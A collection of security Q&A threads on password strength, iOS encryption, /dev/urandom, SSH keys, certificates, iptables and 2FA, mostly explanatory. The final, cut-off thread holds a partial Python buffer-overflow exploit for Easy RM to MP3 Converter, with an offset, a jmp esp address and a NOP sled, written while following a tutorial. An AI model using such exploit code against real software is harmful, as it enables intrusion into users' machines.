Could letters alone in a longer password be just as strong as one with digits and specials? When considering the strength (or secureness) of passwords and passphrases, where some can have a mix of letters of either case, numeric digits, punctuation characters, arithmetic operators, and any other character, and some are longer with just letters of one case, about how much longer is considered to be equally strong (or secure)?  Is there some definite rule to figure the strength?  How would the type of characters actually used compare against the type of characters that particular situation allows to be used?  Does the strength of hashing affect the consideration of the set of characters that will be used?  Does the used of Unicode or homoglyphs affect this consideration?

Would a 16 character password consisting only of lower case English letters be considered to be as strong as an 8 character password consisting of English letters of both cases, numeric digits, and special characters?  Could letters alone in a longer password be just as strong as one with digits and specials?

The Basic idea

Yes, the concept you're looping around is "how many possible passwords exist under these rules?", which is formally called the "Password Space".

The formula to figure out how big the password space is for a given set of rules is quite simple:

(num_allowed_symbols) ^ (password_length)

Your examples:

16 character password consisting only of lower case English letters: there are 26 lowers, so:

26 ^ 16 = 4.4x10^22 possible passwords
8 character password consisting of English letters of both cases, numeric digits, and special characters: depends on how many special characters you allow, but lets say 26 lowers + 26 uppers + 10 digits + 16 specials = 78 characters, so

78 ^ 8 = 1.4x10^15 possible passwords
Unicode: let's say there's around 100,000 valid unicode characters. Then you only need a 5 or 3 character password (respectively) to match the password spaces of lowers, and lowers, uppers, digits, specials.

but before we get too excited over these numbers ...

Where it gets real

The number of possible passwords above is only really useful as a measure of security if every possible password is equally likely to be chosen. In my experience this is not true since graycat123 is a far more common password than h&9R#d3*ng (or ǨΞᾃЯ ҉ℒⵞ௵ޘ↡╤ if using the whole unicode space, but don't ask me how to type that on an Android keyboard!)

This very quickly gets into psychology and user-habits and we often see stats like this:

  SplashData estimates almost 10% of people have used at least one of the 25 worst passwords on this year’s list, and nearly 3% of people have used the worst password, 123456.

That's why you see more and more websites giving "password strength meters" next to the Change Password box -- these are checking your password against common lists, looking for dictionary words, looking for keyboard patterns, etc. These meters are a far better measure of password strength than just the length because, well, people are bad at choosing passwords.

Far better to use a password manager and let a machine choose your password so that h&9R#d3*ng is just as likely as graycat123. If you want passwords that you can remember, then a good option is to come up with passwords using the diceware trick.


Are external assets included in the 2018 TLS 1.0 PCI deprecation? With the upcoming deprecation of TLS 1.0 for PCI compliance, I thought I'd confirm something: what categories of externally referenced assets (if any) could cause a compliance failure if their still domain accepted TLS 1.0 connections after June 2018?

Scripts?
Images?
CSS?
Fonts?

My guess would be "all" since all of those things have been used as exploit vectors in the past, but I'm curious if there's anything official.

There's nothing official so far, but it will almost certainly be down to the judgement of the individual ASV. This is almost always the case on purpose, because it allows assessments to be adaptive in the face of new attack vectors and different contexts.

For example, on an isolated domain where no information is entered and no stateful actions can be performed (e.g. a static link portal inside the PCI environment) none of these cases are particularly critical and I'd err on the side of letting it pass as long as the business can demonstrate a longer term plan to migrate to a more secure configuration.

In contrast, on a system that accepts financial data and performs financial transactions, I'd almost certainly fail it for any of those cases. Scripts and CSS are known to be XSS vectors, so those are the highest risk here. Fonts have, historically, been risky to the client endpoint but are generally more difficult to exploit outside extremely targeted scenarios. Images are the lowest risk here.


What data is not encrypted in iOS 8+ when "locked" Scenario:
iPhone 5+ with iOS 8+ with system encryption enabled. The phone is on and locked. (the user has authenticated (unlocked phone) at least once since power-up, and then relocked).

What data/apps is not protected (or easily bypassed) with system encryption at this state?
Of special interest is data in native and non-native apps such as

photos, videos and audio files
calendar entries, SMS and Messenger data
e-mail and browsing history

See this previous post for some info. While that questions is similar, this one is about iPhone 5+ with a smaller, more specific scope.
NB: please provide source(s) for your reply.

By default, most data is protected using the AfterFirstUnlock class key, which certainly would be present on the device; but that's not what you're asking. You want to know what data is accessible, which is a different kettle of fish. In order to access the data, you either have to get the OS give it to you (by finding a lock screen bypass bug; not unheard of) or exfiltrate the class key from device memory somehow. That last bit is hard.

There are many exploits over the years that can give kernel-level code execution on an iOS device, but almost all of them require either unlocked physical access to the device or rebooting, which would clear the AfterFirstUnlock key from memory. The key is not encrypted in RAM, so opening the phone and accessing the RAM chip directly might work, except for the fact that the iPhone uses a package-on-package construction, and the RAM chip would have to be separated physically from the processor first--without destroying the data, so the chip would need power and/or to be frozen the whole time. The NSA might be able to pull this off, but it would take some seriously specialized equipment, and they'd only get one shot.

The USB interface offers many possibilities, as it carries IP traffic (yep, that's IP over USB) to potentially vulnerable applications. However, in iOS8 it's locked until you press "Trust this computer." If the attacker could steal the escrow keybag this creates off your already-trusted local computer, they could attack this way, but they's still need one exploit in a daemon to get code execution, another to break the sandbox, another to elevate to root, and another to patch the kernel.

Jailbreaks are much easier than this, because they can assume the user will help. That means they can use a trusted computer, and they can turn a file placement exploit into a code execution one by having the user tap an icon on their home screen.

Without user cooperation, your best bet is probably the network interface; you'll still require several exploits chained together, and you'll have to steal the password to your router to get the phone to autoconnect to the attacker's network, and then hope you don't have an always-on VPN set up.

Basically, iPhones are very secure. It's a matter of degrees, sure, but I'd still put your locked phone above almost anything but a smart card.

Edit: Source: mainly "iPhone Data Protection In Depth" by Bedrún and Sigwald, but I used to work on iOS security for the DoD. That's not to say we had special knowledge or anything (I wish, to Apple the DoD is a drop in the bucket), but I've certainly spent enough time probing the depths of the Data Protection system!

Edit 2: The biggest vulnerability in this whole system used to be the escrow keybag, which is created when you plug in to a computer and hit "Trust." This contains all the class keys you need to decrypt the phone's data, because iTunes needs to be able to back up the phone. The escrow keybag is encrypted with a random token stored on the phone, so it's normally only useful when transmitted back to the phone, but if you could just exploit something that would let you read that token back from the filesystem, you'd be in business. That said, in the 5S and later, the processor comes with a "secure enclave" that's more-or-less a smartcard built into the chip, which has its own keys. The escrow keybag's decryption key is now stored in an encrypted format, and only the secure element can decrypt it, so this avenue of exploitation has been closed.


Why does gpg use /dev/urandom Looking at the strace output of GPG on my box seems to show that it uses /dev/urandom when encrypting a message without any access to /dev/random even when --no-random-seed-file is specified.

Are messages at risk of being encrypted with a low entropy session key? If so then how does one instruct GPG to not behave like this?

EDIT: I believe this is a different question than the possible duplicate which deals with more ephemeral data.  My gpg encrypted messages will have a long lifetime and are easily subject inspection by an adversary.

On a general basis:

/dev/urandom is no less secure than /dev/random. In fact they both use the same algorithms and the same seeds. Occasionally, /dev/random just stops because someone, someday, read something about entropy, did not understand it, and now thinks that randomness is something that is burned upon usage and must be refilled regularly.

(This page makes a rather nice job explaining things on that subject.)
There can be situations where there is not enough available entropy in the whole system. These situations do not occur with normal Linux distributions because they generate and save a random seed at boot time, to be used for the next boot, effectively ensuring that /dev/urandom is cryptographically secure all along. To get into one of these situations, you have to either play some weird games with VM snapshots, or use not a PC but some very limited embedded system; this is quite far from the contexts where you would use GnuPG.
It is very noteworthy that in the case of VM snapshots, the "entropy estimate" of /dev/random will gleefully report that it is full of the stuff, which is, in this case, very wrong. That is, not only does the blocking behaviour of /dev/random is scientifically unsubstantiated, but it also totally fails to be triggered in the one practical case (VM snapshots) were entropy loss could be feared.
Also remember that contexts where /dev/urandom is inappropriate are also contexts where /dev/random is inappropriate. Using /dev/random will not make things "more random"; at best, it will refuse to work instead of generating a key of theoretically lower security ("theoretically" because none of this has ever resulted in a practical break, even as a demonstration in lab-controlled conditions). As explained above, this is really an "at best" and it won't actually work that way with VM snapshots and reset.

Fortunately, all the activity involved by a boot implies collection of enough entropy to achieve cryptographic security (for arbitrarily long /dev/urandom outputs, even). See this article for more analysis. GnuPG key generation is not done by the kernel in the early boot steps; it occurs much later, during normal operation, when the PRNG has been properly seeded.

None of this prevents some people from insisting on some ritual dancing with entropy. Apparently, the GnuPG authors are part of that specific theological interpretation -- either because they believe it or because they yield under the market pressure.

Summary: using /dev/urandom instead of /dev/random is not weak for GnuPG. GnuPG is used in a context where /dev/urandom is properly seeded and will achieve all the required unpredictability, and /dev/random will do no better (not in practice, not in theory either). In the one situation (VM snapshots) where the output of /dev/urandom could be inadequate for GnuPG, the output of /dev/random will be equally inadequate for the same reasons, and the blocking mechanism of /dev/random will not be triggered. The conclusion is that switching from /dev/urandom to /dev/random for GnuPG is completely useless.

... that is, from a technical point of view. Using /dev/random instead of /dev/urandom could induce some blocking that can help in persuading the weakly-minded that "serious cryptography is happening". It won't make things more secure, but it may make the user feel safer.


In which cases you should block a user after a certain number of failed attempts? I have a web app. Existing users can invite new users by sending a mail throw the web app.

If the user fails 4 consecutive times I block the acount for 5 minutes.

Currently there is no important information in the application.

The problem with the current policy is:

If a malicious user B want to block the user A he could try to log with A username's 4 times every 5 minutes. Then A couldn't log to the app.
I could block if the 4 fails cames from the same IP (and only block for that IP). But the malicious user can change his IP. I don't know how, but potentially he can fill my resources (because I have to take the count for each IP)
I can put captcha, but I'm not sure how much helps.

Can you help me? What can I read or do?

You have to protect for the greater threat. You have 2 scenarios:

Malicious user/troll trying to deny service to a fellow user. This is a relatively common concern but is rare to see in practice
Attackers brute forcing accounts: Although your site may not have any data useful for an attacker the credentials themselves are as many users re-use passwords

Scenario 2 is, for most sites, far more likely and for that reason having a lockout policy is a good thing. Captcha (if implemented properly) would be useful to prevent bots from additional login attempts in scenario 2, after x number of attempts it would throw up a captcha screen, defeating a bot but humans could unlock it. Setting up alerts for repeated login failures is a smart idea so you can track this sort of thing, as is alerting users via email when it happens so a user can tell you whether it's them acting or not.

If you think scenario 1 is relatively likely for your site then being able to filter access from a particular set of IP addresses makes sense. Most malicious users don't have a botnet at their command that they'd use just to keep a user locked out, so you'd probably see a pattern. It would be harder to use this method against a sophisticated attacker though, just using TOR would be enough to defeat your filtering. One good bit of protection you could use for scenario 1 is in your login detail design, not allowing username sign-ins and using email addresses instead. That way if a troll doesn't like SmarterPerson1887 they'd have to know that user's email address, which is much less likely.


Client side encryption - only web browser available I am creating an enterprise application, the server side runs a whole set of different apps, On the client side, there is only a webpage, no applet or anything else. Unfortunately data created by the user can be confidential, so I need to encrypt it somehow.

From what I understood, JavaScript cryptography is not a good idea. What about generating the key on a third party server and send them to the client? It feels like just moving the problem somewhere else, not fixing it.

Could you give me some advices? I don't really see how to encrypt the data.

JavaScript cryptography is not a good idea

JavaScript cryptography is not bad per se, it's just ineffective against most commonly considered threats.

If you consider a man-in-the-middle (MITM) to be a threat then SSL/TLS is a much more effective control as otherwise the attacker could substitute the JavaScript for a version which doesn't use encryption.

If you consider malicious software on the client side to be a threat then it could presumably modify the JavaScript any way it likes and your encryption would be useless.

If you consider the server side to be a threat (eg. the client wants the server to store something but not see the content) then it may be effective, but the client needs some other way of ensuring the JavaScript hasn't been tampered with (which isn't an easy problem to solve) and the client needs to manage the key themselves.

In the use case you've described it doesn't sound like client side encryption will really add any additional security. Either way you have to deal with the issue of communicating the key, which will probably depend on the integrity of SSL/TLS regardless. Either the client will have to send the key to the server or the other way around, and even if you use public key encryption to address this you'll still have the issue of ensuring that the public key sent to the client is authentic. You'll most likely just end up reimplementing a typical public-key infrastructure.

All that aside, there's no fundamental issue with performing cryptography in JavaScript, except that:

It is typically fairly slow by most standards
Generating cryptographically secure keys can be an issue, particularly in older browsers which don't support certain newer APIs for this task


How reliable is virtual hosting? Web servers such as Apache and nginx support virtual hosting. To the users of websites on a shared server, they will not know that another websites exists on the same server. I have been wondering for a while now how reliable this is.

There are online tools which can attempt to find other sites hosted on the same server, like this one, however, is there a possibility of the server displaying the wrong site to a user, other than through poor configuration?

IP-based virtual hosts will not be detected with the site I linked to previously, so theoretically, using IP-based virtual hosts, there's no way for anyone else to find out that one website is hosted on the same server as another?

Properly configured, a server should always return the correct content for any URI.  That's the definition of a URI.

As for your second question, it depends on configuration.  If multiple IPs are being routed through the same NIC, the MAC address will still be the same and would identify them as going to the same interface.  If multiple physical interfaces are used, it would become much more difficult unless the server is leaking other identifying information though.


Is it true that key authentications are considered insecure nowaday? Some of the comments on this post here: https://superuser.com/q/1034137/479461 are claiming this.

i.e. this one says (emphasis mine)

  You got brute forced. This is why one does not leave a ssh server on the internet, even if you have a password. Anything short of key based auth is not secure enough these days.

– Journeyman Geek♦

I asked in a comment for clarification if they accidently are talking by "key authentification" about the keys of a keyboard. But got not even a response yet.(So since my private server actually has ssh root acces with an 2048bit encoded public/private key pair and thought it to be save, I'm a bit worried by this claim of an diamond user now...)

So:

Is there anything to worry about using a 2048bit encoded key pair (as Journeyman Geek♦ claims) for ssh authentification as root, in case we assume no one has acces to the private key except me?

Key authentication (using a cipher key, not a physical key) is a secure way to authenticate. Only your machine should have the private key needed to complete the key pair and thus authenticate.

Password authentication (using physical keys on a keyboard) is considered insecure since it can be brute-forced or someone looking over your shoulder when you type it can easily get ahold of it.

Furthermore, allowing logging in as root over SSH is considered bad practice. There is a seperate directive in the sshd config called PermitRootLogin, which is by default set to no. You should keep it that way. You should never directly login as the root user, but rather login as a local user and then switch to root using the su command or run a single command as root using sudo (given you are in the sudoers file), but only when you actually need it.

There are too many reasons not to login as root directly to list here, but for example's sake one important reason for this is that you cannot do any proper auditing on your system. When logging in as a local user first, you can then always check the logs and see who logged in prior to becoming root and thus who is "behind the root mask". Also, when using sudo, each command and the user that issued it are logged (by default). Logging in directly as root does not tell you which user ran specific commands and makes it hard to track down who did what on your system.


Creating Client Certificates Consider an application where client certificates are to be used for authentication. The application web server requires SSL and client certificates for all users. In this case, it's IIS 7. I've used the built-in CSR functions within IIS.

The server certificate has been requested, created, and installed. The Root CA is a 3rd party - DigiCert.

How can you create a client certificate to give to your users? I'm assuming this will require another CSR for the CA to create this.

How does a CSR for a client cert differ than one for a server cert? Does IIS have any built in tools for creating CSR for client certs?

The certificate request is generated where the private key is generated; and the private key should, normally, be generated by the client, since the client will ultimately store it.

You can have a model where you (as a server) generate keys for clients and then distribute the keys and certificates to the clients, but it raises the question of why you use client certificates in the first place: certificates are for situations where the prover (the client, who wants to be authenticated) demonstrate his identity to the verifier (the server) without giving enough information to the verifier to allow it to impersonate the prover afterwards when talking to a third party. In a classic client/server setup, this is overkill; and this extra property disappears if the server itself knows the private keys (even transiently).

Moreover, the third-party CA will bleed you dry by billing you for each client certificate. Using a third-party CA for a purely private business (the client certificates are for you, not for anybody else) looks like wasted money. For the server certificate, this is understandable: you want a certificate that every potential client will recognize as valid, i.e. relative to a root CA certificate that they already have. But in the other direction, this is just your own server. Running your own CA (e.g. with EJBCA) would probably be worth the effort.

Assuming that using client certificate is an unavoidable characteristic of the situation at hand (e.g. some high-ranking manager has heard the term "certificate" and fell in love with it), then you can produce them on the server side by talking to DigiCert (or your own CA, if you run one) with whatever method is appropriate for them. On a Windows system, private key generation, certificate request building, and acceptance of the resulting certificate, can be done with the command-line tool certreq. Once you have the private key (it never left your machine) and the certificate, export them both as a PKCS#12 archive (also called "PFX"), protected by a password, and send that to the client, who will import them in his browser. This transfer ought to occur with some protection, of course... though a PKCS#12 archive is tolerably well protected by the password, you still have to transfer that password to the user in some way.


Deprecation of SHA1 code signing certificates on Windows EDIT (7/7/2016) - see addition at the end of post

I have been keenly following the issues with regards to Microsoft deprecating the use of SHA1 code-signing certificates for Windows executables (http://social.technet.microsoft.com/wiki/contents/articles/32288.windows-enforcement-of-authenticode-code-signing-and-timestamping.aspx).

We are now into 2016, and as we will need to sign and release code shortly, I am trying to verify that, indeed, without upgrading our code signing certificate to a SHA256 one, we will have problems. However, I seem unable to demonstrate any expected problems.

I have signed some executables (today, in 2016) using the SHA1 certificate and configured AppLocker to run only signed executables (I have verified this - I cannot run unsigned executables). However, I am still freely able to run my newly SHA1-signed executables, and additionally, downloading these files from a web server in IE does not present me with any 'warnings' (as I had expected) - the security scan returns that all is good with the files!

I am running the tests on Windows 7.

What actual problems should I expect to experience?

(in case you are wondering why we don't simply just upgrade to SHA256 anyway - there are multiple reasons: one is bureaucratic, but the other is the fact that we also sign VBS scripts which currently do not support dual signing).

EDIT (7/7/2016)
Well, it seems that Microsoft has finally put out an update to IE and Edge that warns you if you download an executable which is signed only with a SHA-1 certificate! Basically, with IE 11.0.30 or later, if you download an executable which was signed with a SHA-1 (but not SHA-256) cert AFTER 1/1/2016, then you will see one of the following warnings:

I guess Microsoft is finally getting in with the warnings in preparation for the 1/1/2017 cut-off. It's important to note that for the moment, apart from these warnings, there are no other changes - the files still execute without problems, and of course, downloading them in other browsers do not cause problems.

I've now found an example of an actual download that was signed using an SHA-1 certificate after 1/1/2016.  I downloaded KeePass 2.31 using Edge on Windows 10.

Edge tells me that "The signature of this file is corrupt or invalid."

If I right-click and select "run anyway", or double-click the file in Windows Explorer, SmartScreen blocks the file:

Ticking the checkbox and clicking Run Anyway allows the file to run normally.  The UAC warning then shows the name of the publisher like it does with a properly signed executable.

Clicking "Run Anyway" when SmartScreen blocks the file removes the "Mark of the web" from the file.  Double-clicking the file a second time in Windows Explorer no longer blocks the file.

The Digital Signature Details dialog in Windows Explorer also says the signature is OK.  It does this even when the file still has the "mark of the web" (i.e. before using the Run Anyway button in the SmartScreen filter):

The file actually has dual signatures.  The first uses SHA-1 for the signature and the second uses SHA-256 for the signature.  But critically, both were made using an SHA-1 certificate.  That is what Windows 7 and later find fault with for downloaded files.  Also, both signatures are timestamped with SHA-1.  Windows 10 will have a problem with that for downloaded files starting 1/1/2017.

It seems that the Digital Signatures Details dialog does not take into account whether a file has the "mark of the web".  It says "this digital signature is OK" for both the signatures on this file.  So to really test whether your files are properly signed, you need to download them from your website like your customers would.

Testing the same download in a virtual machine snapshot of the original Windows 10 that hasn't been updated since August and another snapshot of the 1511 release that hasn't been updated since November produces no warnings.  If I then have the 1511 VM check for and install updates until it says it's up to date, then I do get the warnings shown above.  I did note in my previous answer that the SHA-1 deprecation is pushed out through Windows Update.  So it looks like this is a very recent update, perhaps a post-1/1/16 update.  Make sure your PC has all the latest security updates before testing your download.


PCI CVV requirement - encrypt prior to authorisation? Technically, according to PCI SSC you can hold onto CVV and other sensitive authentication data until authorisation has occurred. In other words the restriction on storing sensitive authentication data applies to post authentication/processing storage.
Is it a requirement that the CVV be encrypted prior to authorisation?

The requirement is to protect the data appropriately. Pre-auth, you are unlikely to have the CVV on disk (it should just be in RAM) but if you do, then yes you should encrypt, and then delete afterwards, so your assumption that "the restriction on storing sensitive authentication data applies to post authentication/processing storage" is incorrect.


For security purposes, can I use vpn with ufw to allow traffic only from the vpn on ubuntu? Is this possible? If not through ufw then some other software or iptables? How should I set up the ip tables?

Assuming my public ip is known (and I don't want to change it), would it provide complete security against hacking if I don't perform any wrong actions such as downloading infected files?

If not complete security then would it provide additional security? Like making nmap scans impossible?

Inbound Traffic

It seems like the threat you are concerned about is "hacking", which I will interpret in this case as "exploitation of locally running network services by malicious actors".

If this is your threat model, and we disregard out other privacy/security implications and potential benefits of using a VPN, I suspect the VPN has little to offer in this case.

First off, if your public address is known to an adversary, and you do not have any public-facing network services or they are firewalled off, the above threat model is effectively mitigated. Full stop. Any unwarranted traffic inbound to your device should be silently dropped with no effect to you*. If you are behind a network firewall (possibly providing NAT), you have even less to worry about, since stray traffic will not reach your device unless you have specifically enabled port forwarding (or UPnP is enabled)**.

So, a VPN doesn't help much with inbound traffic if you already have a firewall that denies by default. Unless you have specifically requested/configured it, a commercial VPN service is not going to allow public traffic to be sent to your device. That said, if the VPN provider is compromised, malicious actors could use the VPN as a channel to reach your device even while on your private network. But again, with a firewall, such inbound attacks are likely null and void.

Outbound Traffic

In the case I am interpreting your question incorrectly, and you mean traffic to the VPN instead of from the VPN, there could be an advantage to only allowing outbound traffic across a VPN. A likely scenario is that you are using untrusted public WiFi, perhaps in an airport. While the modern internet over HTTPS is fairly secure against MitM attacks, there are still privacy ramifications of using a public network. Modern devices are also very noisy, and could unintentionally reveal information about you or your devices that could result in privacy issues or compromise. For example, look into the tool Responder, which targets Windows devices on the same network by responding to queries they automatically make, sometimes without prompt from the user. To prevent your computer from leaking more information to the network than necessary, you can indeed lock down all outbound traffic to a VPN adapter. Example below with iptables (although any firewall should suffice):

# Name of VPN network adapter
VPN_IF=tun0

VPN_SERVER=1.2.3.4
VPN_PORT=1194

# Allow inbound connections related to things you initiate on any interface
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Allow all out to VPN
iptables -A OUTPUT -o $VPN_IF -j ACCEPT
# Assuming UDP
iptables -A OUTPUT -p udp --dport $VPN_PORT -d $VPN_SERVER -j ACCEPT
# Allow DHCP
iptables -A OUTPUT -p udp --dport 67 -j ACCEPT
iptables -A INPUT -p udp --dport 68 -j ACCEPT
# Default drop the rest
iptables -A INPUT -j DROP
iptables -A OUTPUT -j DROP

That should do it. Note you may need to make changes specific to your scenario. If your VPN configuration uses a hostname for the VPN server instead of an IP address, you will need to allow DNS outbound too. You also may need to allow multiple IP addresses if the server resolves to more than one address.

* Ignoring the possibility of a bug in the kernel firewall code.

** A vulnerability in your edge router/firewall would remove any of this possible protection.


Brute-force a passphrase, generated by `pwgen 16 -s`, of a GPG CAST5 archive A sad story: One of our hard drives failed. While it was failing, we managed to take a quick backup. As it is our standard practice, we encrypted the backup using GPG (by however method Duplicity uses to do that, most likely plain gpg -c). Unfortunately, we stored the wrong passphrase. (Doh!)

The backup contains some data that we would very much like to recover.

We know that the passphrase was generated by pwgen -n 16 -s command on an modern Ubuntu 32-bit server machine that is a guest in a Xen host. We may have a passphrase from the same batch of pwgen passphrases (that's the "wrong passphrase"). There are several files in the backup, each encrypted with the same passphrase.

Is it feasible to attempt to brute-force the passphrase? What tools are there for that? How to calculate the cost and time of such brute-force passphrase recovery attempt? (Assume, say, that we're willing to rent Amazon HPC GPU instances as needed, and Amazon has enough of them available.)

Given that we have 62^16 possible passwords, and decrypting the smallest file (265B) with gpg takes 0.02s on my (rather old) box, the answer looks to be "not feasible"... But it never hurts to ask.

If it is preferred by the site rules, I can rephrase this question as "how hard to break is this method of backup encryption?" :-)

I'm afraid there's no better than brute force. The tools you used do their job properly, or close enough.

Duplicity invokes gpg -c, which encrypts using CAST5 with a 128-bit key by default. There is no major attack against CAST5 that I know of.
gpg -c uses a key strengthening function to generate a symmetric key. It involves 216 rounds of SHA-1, and I very much doubt it's broken, so the real key has as much entropy as the password you put in (about 95 bits).
pwgen reads a random 32-bit number from /dev/urandom (which is crypto-quality except sometimes on a freshly installed system that hasn't had time to generate entropy — and then only if you can predict the timing of all disk operations so far, which is a tall order) and takes the remainder modulo 62. That's Not Right, because it's skewed towards the digits 0123, but the skew is negligible (about 2-30 off from a uniform distribution) for only 16 runs.
(There's actually a major problem in pwgen: it silently defaults to a non-crypto-quality random generator if /dev/urandom isn't available. But it's very unlikely that you didn't have /dev/urandom.)

Each character that pwgen displays is generated independently, so having another password from the same batch won't help.

Brute force for 295 possible keys is out of the question. That's somewhat over a billion billion billion. You'd need to compute about 2110 SHA-1 hashes.

If the physical machine where you generated the backup is still on, there's a very tiny chance that the memory that was allocated by pwgen hasn't been reused by another process. Or the memory allocated by the terminal emulator, or a program you used to copy-paste the key, or (even harder to exploit) the memory that was allocated by gpg. Your backups may be worth someone poring over a memory dump.

Check if the pwgen output might have been logged somewhere. Is it still visible in a terminal history? Do you routinely run programs under script? Is it still in a live Screen session? Is it in a clipboard history?

I think your best bet is to attempt hardware recovery on the failed disk.


How to reinstall Win7 from a D-drive on an infected laptop The laptop is infected with some sort of bad stuff (virus? Trojan? malware? etc). I am thinking of wiping it clean and reinstal Win7 "from scratch".

I am running Win7 from an HP Probook, which has a D-partition titled
"HP_recovery". From the HP website, it's possible to reinstall Win7 from D-partition.

The questions are, since the laptop is infected (although most scans turned up clean - yet browsers still get "redirect"):

(1) is the D-partition also infected?

(2) can "standard recovery protocol" completely wipe clean C partition and reinstall Win7 in D-partition (assuming it's clean)?

Any advice ?? Great many thanks.

Standard protocol would be to wipe the hard drive(s) completely clean and install from known good read-only media.

A malware also modifying the windows 7 copy on the recovery partition is conceivable. But whether or not the malware you have did that is something we can not tell you without looking at your machine.


Auditing, accounting, logging, and accountability... What's the difference? Let's first look at the book Microsoft Windows Security Essentials:

  ... the three As (AAA) of security: authentication, authorization, and accounting
  ... they combine to contribute to reliable accountability within an organization.

I'm a bit confused here, since it seems accountability is different than accounting, and it also includes authentication and authorization! OK, let's go on.

Some other references take auditing to be equivalent to accounting, while others consider auditing as a means of accounting.

Finally, what is the difference between "security logs" and "security audit trail"?

Please, if you can, provide me with a reliable reference, which defines the terms.

I'll try put these terms in their respective context, which will make them a lot easier to understand.

When a user wants to use your system, you authenticate them by making sure they're who they are, using passwords; certificates; cards; PINs; etc. Then check if they have the correct authorization, that is, you check if they have the permissions required to access certain resources or aspects of your system.

When a user accesses a resource, you log that operation along with all important metadata. Your logging operation makes sure that every action is accounted for. You log which user has performed the action or access the resources, using which machine, using an access level given by whom, and all other identifying information.

Later, when an independent entity (external or internal) audits the system by making sure all the records and logs don't contain any abnormalities and all the systems are compliant, it's possible to identify (with accuracy and certainty) which entity hash performed a certain action or accessed a certain resource.

A system that provides all of that in normal situations and in incident-response cases is system that has accountability.


Overwriting disk with random data vs. encrypted zeros Most disk encryption guides recommend to overwrite the disk with random data before encryption, this is discussed here.

However the time this takes with the "standard" source of random data can be rather slow:

# dd if=/dev/urandom of=/dev/sdb1 bs=10M
29+1 records in
29+0 records out
304087040 bytes (304 MB) copied, 15.5476 s, 19.6 MB/s

On an encrypted device (specifically, with LUKS), are there any drawbacks when one just fills the encrypted partition with zeros?

# dd if=/dev/zero of=/dev/mapper/data bs=50M
1099+0 records in
1099+0 records out
57619251200 bytes (58 GB) copied, 306.091 s, 188 MB/s

The only problem I could see would be that if known-plaintext attacks surface, this method might give an attacker plenty of sample data to play with.

Filling an encrypted volume with zeroes is the recommended method for overwriting a disk in the cryptsetup FAQ (section 2.19).

Use a throwaway key so that the resulting ciphertext no longer corresponds to a known plaintext under your actual key.


Risks of HTML/JavaScript window.opener security flaw? I do not know if you are aware of this flaw, but here is a basic example:

somepage.html (pointing to malicious.html):

<!DOCTYPE html>

    <meta charset="utf-8">
    <title>Test</title>

Some text

lien

malicious.html:

<!DOCTYPE html>

    <meta charset="utf-8">
    <title>Test</title>

If we click on the link on somepage.html, this same page will be modified by malicious.html. Apart from phishing, what are the risks of this flaw?

This flaw has been patched only on Chrome and Opera.

There is no security bug here.

If somepage.html links to malicious.html, they are both located on the same domain. It is expected behaviour that the opened document malicious.html has a back reference via window.opener.

In the same way somepage.html could access malicious.html by creating a handle for the opened document:

var other = window.open('malicious.html')

This is consistent with the Same-orign policy, that allows different documents of the same domain to interact with each other.

Your discovery would however be concerning if http://evilhost/malicious.html would manage to access the DOM of http://somehost/somepage.html, resulting in a UXSS vulnerability.


Does a WAN to LAN Route Conversion Through a Router Adds Security? Use of a Router is the first solution for adding a security layer to any LAN with N machines, connected to the internet (through its firewall settings). My question is does the WAN to LAN conversion and vica versa, adds any security by itself, and what is it exactly?

In a WAN you do not have control over the traffic, but in a LAN you do, you can for example restrict physical access to the network, implement security policies...
But when you connect the two, you lose that control, because (again) you dont have control over the WAN part, and being the WAN a bigger network than the LAN the threat profile is much bigger.

The benefit as I see it, is that in a LAN you get to implement security measures like a firewall, or a honeypot, but I wouldn't say that just by connecting a LAN to a WAN you get any security benefit by itself, you need to work to actually get that security improvement.


How long should 2 factor authentication codes be? I've noticed that many services that offer 2 factor authentication have jumped from using four digits to six. However, it seems counterproductive to me because the digits are random, the digits (should) expire, and with six digits, you may have to look at your phone twice or more

Is there any reason for this, beyond it seeming more secure? My preference would be four or even three digits as they are easier to remember and re-enter.

Yes, there is a reason - to reduce brute force guessing attacks against multiple accounts.

All 2FA implementations include an online component that enforces a limited set of retries, ensuring the account is locked out long before an attacker could try all possible passcodes.  The length of the 2FA passcode establishes the probability of a malicious actor guessing the authentication in the given number of attempts allowed.  For example, if the 2FA passcode is 3 digits long and you are given 3 attempts to enter it, the chances of randomly guessing it are 3/1000, or 0.33%.  If the 2FA passcode is 4 digits long, the chances drop to 3/10000, or 0.033%.

While this is certainly a low chance that he'll guess your specific passcode, imagine an attacker with a database of 10,000 accounts stolen from some server.  Attacking just one user account, he only has a 0.33% chance of guessing it, but after guessing three times each on 509 different accounts, the probability he'll successfully guess one is 0.5, or 50%.  By the time he's locked out 2,009 accounts, the probability he successfully guessed at least one valid passcode is .99, or 99%.*  Consider the attacker may not need to successfully attack all accounts in order to gain access - he may only need one success in order to log in to the site and establish a foothold.

Traditionally, detecting a brute force attack relied on recognizing the attacker trying multiple requests quickly with an automated script.  An IP address that is responsible for three or ten locked-out accounts in a row might trigger an alert.  But modern attackers know that by proceeding slowly they can avoid detection; recent advanced attacks have demonstrated this technique in the wild.  Consider an attacker using a botnet of 10,000 zombie computers.  He can command them to slowly launch one random request every few minutes from all 10,000 IP addresses without ever tripping a velocity alert or locking out any account.  It's only a matter of time before he succeeds.

Since detection of this attack is virtually impossible, the only protections left are to make it harder on the attacker, so the odds of correctly guessing a passcode must be reduced.  The two ways to do that are to increase the minimum length of a passcode (to 6 or 8 digits,) or to reduce the number of invalid passcode attempts allowed.  Since reducing the number of guesses would impact usability for the legitimate users, algorithm designers have little choice but to increase the length of each passcode.

* My math skills are not great, so these numbers may be off.  Some mathematically inclined editor should feel free edit this answer to include the proof by correctly using the Bernoulli formula.


Why is fnstenv giving me a NULL address in my shellcode on Windows XP? I am going through an introductory tutorial on writing exploits, which can be found here. The tutorial goes over a simple stack based buffer overflow vulnerability in the Easy RM to MP3 Conversion Utility. I had the basic PoC working (although, I found a different offset to overwrite EIP than the author even though I used the same version). In other words, I was able to take control over EIP and have it jump into a nopsled before the shellcode, and the test shellcode containing only a break instruction worked perfectly fine. However, I seem to be running into issues when using real shellcode generated with metasploit (as shown on the tutorial). Here is the Python script I wrote while following the tutorial (I didn't want to use Perl...):

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"

preshell = "X" * 4

shellcode = nop*25
